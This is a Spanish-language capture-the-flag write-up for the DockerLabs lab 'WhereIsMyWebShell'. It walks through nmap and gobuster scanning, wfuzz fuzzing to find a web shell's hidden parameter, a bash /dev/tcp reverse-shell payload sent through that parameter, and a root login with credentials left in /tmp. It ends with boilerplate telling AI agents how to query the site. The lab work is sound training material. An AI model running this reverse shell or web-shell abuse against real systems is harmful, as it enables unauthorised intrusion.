# WhereIsMyWebShell

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/mPYNd55f6Ycq4oFBBUpJ" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/az87ynrhguL0QJckqxg6" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 80** perteneciente al **servicio HTTP** está abierto por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p80 -v 172.17.0.2
```

para que nos proporcione más información sobre esos puertos específicamente.

<figure><img src="/files/gnaZlDzRD3E6Kl12pLpk" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web de una Academia de Inglés.

<figure><img src="/files/m6zFu2bFbv929PmbfgS7" alt=""><figcaption></figcaption></figure>

Si revisamos la página web nos dice que hay un secreto en el directorio **/tmp**.

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php,txt,xml
```

<figure><img src="/files/LVzalMDTP4o1Loxg9mfs" alt=""><figcaption></figcaption></figure>

### &#x20;🚀 **EXPLOTACIÓN**

Nos encontramos una archivo llamado `shell.php` en que imaginamos que es una **WebShell** y nos da una pista tal como se llama la máquina.&#x20;

```bash
http://172.17.0.2/shell.php?cmd=id
```

No nos devuelve nada por lo que realizamos **fuzzing**.

```bash
wfuzz -c --hc=404,500 -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt http://172.17.0.2/shell.php?FUZZ=id
```

<figure><img src="/files/2J9gsEmRQeqs6P5hyGzX" alt=""><figcaption></figcaption></figure>

Descubrimos que el parámetro es `parameter`.

<figure><img src="/files/IK29tq99xNfqPHZTUXnA" alt=""><figcaption></figcaption></figure>

Aprovechamos eso para hacer una [Reverse Shell](https://www.revshells.com/).

```bash
http://172.17.0.2/shell.php?parameter=bash -c "bash -i >%26 /dev/tcp/192.168.255.136/443 0>%261"
```

Nos ponemos en escucha.

<figure><img src="/files/qklok8G9CsdDnAbwE0IQ" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos **SUDO**.

Revisamos el archivo que hay en el directorio `/tmp`.

<figure><img src="/files/EuOehO1JfVx1dBmjzCWC" alt=""><figcaption></figcaption></figure>

Nos logueamos con **root** con esas credenciales.

<figure><img src="/files/eRRz4D09w9RwdbPCgxrl" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/whereismywebshell.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
